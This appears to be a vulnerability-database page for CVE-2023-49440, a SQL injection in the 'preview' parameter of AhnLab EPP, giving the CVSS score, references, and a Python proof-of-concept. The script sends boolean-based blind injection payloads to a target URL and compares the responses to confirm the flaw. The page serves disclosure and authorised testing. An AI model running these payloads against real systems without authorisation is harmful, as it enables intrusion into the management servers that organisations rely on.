CVE-2023-49440

Description

AhnLab EPP 1.0.15 is vulnerable to SQL Injection via the "preview parameter."

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AhnLab EPP < 1.0.15

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2023-49440 SQL Injection PoC
# Target: AhnLab EPP 1.0.15
# Vulnerability: SQL Injection via preview parameter

import requests
import sys

def exploit_sql_injection(target_url, cookie=None):
    """
    SQL Injection PoC for CVE-2023-49440
    Tests for boolean-based blind SQL injection
    """
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    if cookie:
        headers['Cookie'] = cookie
    
    # Original request (should return normally)
    normal_payload = {
        'preview': 'test'
    }
    
    # SQL Injection payloads
    # Boolean-based blind SQL injection
    true_payload = {
        'preview': "test' AND 1=1 --"
    }
    
    false_payload = {
        'preview': "test' AND 1=2 --"
    }
    
    try:
        # Test normal request
        response_normal = requests.post(target_url, data=normal_payload, headers=headers, timeout=10)
        
        # Test true condition
        response_true = requests.post(target_url, data=true_payload, headers=headers, timeout=10)
        
        # Test false condition
        response_false = requests.post(target_url, data=false_payload, headers=headers, timeout=10)
        
        # If true and normal responses are similar, but false is different
        if response_true.status_code == response_normal.status_code and response_false.status_code != response_normal.status_code:
            print('[+] SQL Injection vulnerability confirmed!')
            print('[+] Target is vulnerable to CVE-2023-49440')
            return True
        else:
            print('[-] Target may not be vulnerable')
            return False
            
    except requests.exceptions.RequestException as e:
        print(f'[-] Error: {e}')
        return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Usage: python cve-2023-49440.py <target_url>')
        print('Example: python cve-2023-49440.py http://target.com/preview endpoint')
        sys.exit(1)
    
    target = sys.argv[1]
    exploit_sql_injection(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-49440
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-49440
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-49440/
[4] VulDB https://vuldb.com/cve/CVE-2023-49440
[5] http://ahnlab.com
[6] https://github.com/KernelCipher/CVE-2023-49440-POC
[7] https://github.com/NyaMeeEain/CVE-2023-49440

Raw JSON Data

JSON

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